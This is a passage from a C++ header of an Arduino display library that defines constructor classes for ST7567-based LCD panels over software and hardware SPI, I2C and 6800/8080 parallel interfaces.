u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7567_PI_132X64_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_PI_132X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7567_JLX12864_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_JLX12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_JLX12864_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_JLX12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_JLX12864_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_JLX12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_JLX12864_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_JLX12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7567_JLX12864_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_JLX12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7567_JLX12864_6800 : public U8X8 {\n  public: U8X8_ST7567_JLX12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_JLX12864_8080 : public U8X8 {\n  public: U8X8_ST7567_JLX12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064_6800 : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064_8080 : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064I_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064I_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064I_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064I_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064I_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064I_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064I_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064I_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064I_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064I_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064I_6800 : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064I_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064I_8080 : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064I_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_OS12864_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_OS12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_OS12864_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_OS12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_OS12864_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_OS12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_OS12864_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_OS12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7567_OS12864_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_OS12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7567_OS12864_6800 : public U8X8 {\n  public: U8X8_ST7567_OS12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_OS12864_8080 : public U8X8 {\n  public: U8X8_ST7567_OS12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_JLX12864_SW_I2C : public U8X8 {\n  public: U8X8_ST7567_JLX12864_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7567_JLX12864_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_JLX12864_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7567_JLX12864_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_JLX12864_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064_SW_I2C : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064I_SW_I2C : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064I_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064I_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064I_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7567_ENH_DG128064I_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_ENH_DG128064I_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7567_OS12864_SW_I2C : public U8X8 {\n  public: U8X8_ST7567_OS12864_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7567_OS12864_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_OS12864_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7567_OS12864_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_OS12864_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7567_ERC13232_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_ERC13232_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ERC13232_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_ERC13232_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ERC13232_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_ERC13232_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ERC13232_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_ERC13232_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7567_ERC13232_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_ERC13232_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7567_ERC13232_6800 : public U8X8 {\n  public: U8X8_ST7567_ERC13232_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ERC13232_8080 : public U8X8 {\n  public: U8X8_ST7567_ERC13232_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_ERC13232_SW_I2C : public U8X8 {\n  public: U8X8_ST7567_ERC13232_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7567_ERC13232_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_ERC13232_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7567_ERC13232_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_ERC13232_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7567_122X32_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_122X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_122X32_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_122X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_122X32_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_122X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_122X32_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_122X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7567_122X32_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_122X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7567_122X32_6800 : public U8X8 {\n  public: U8X8_ST7567_122X32_6800(uint8_t d0, 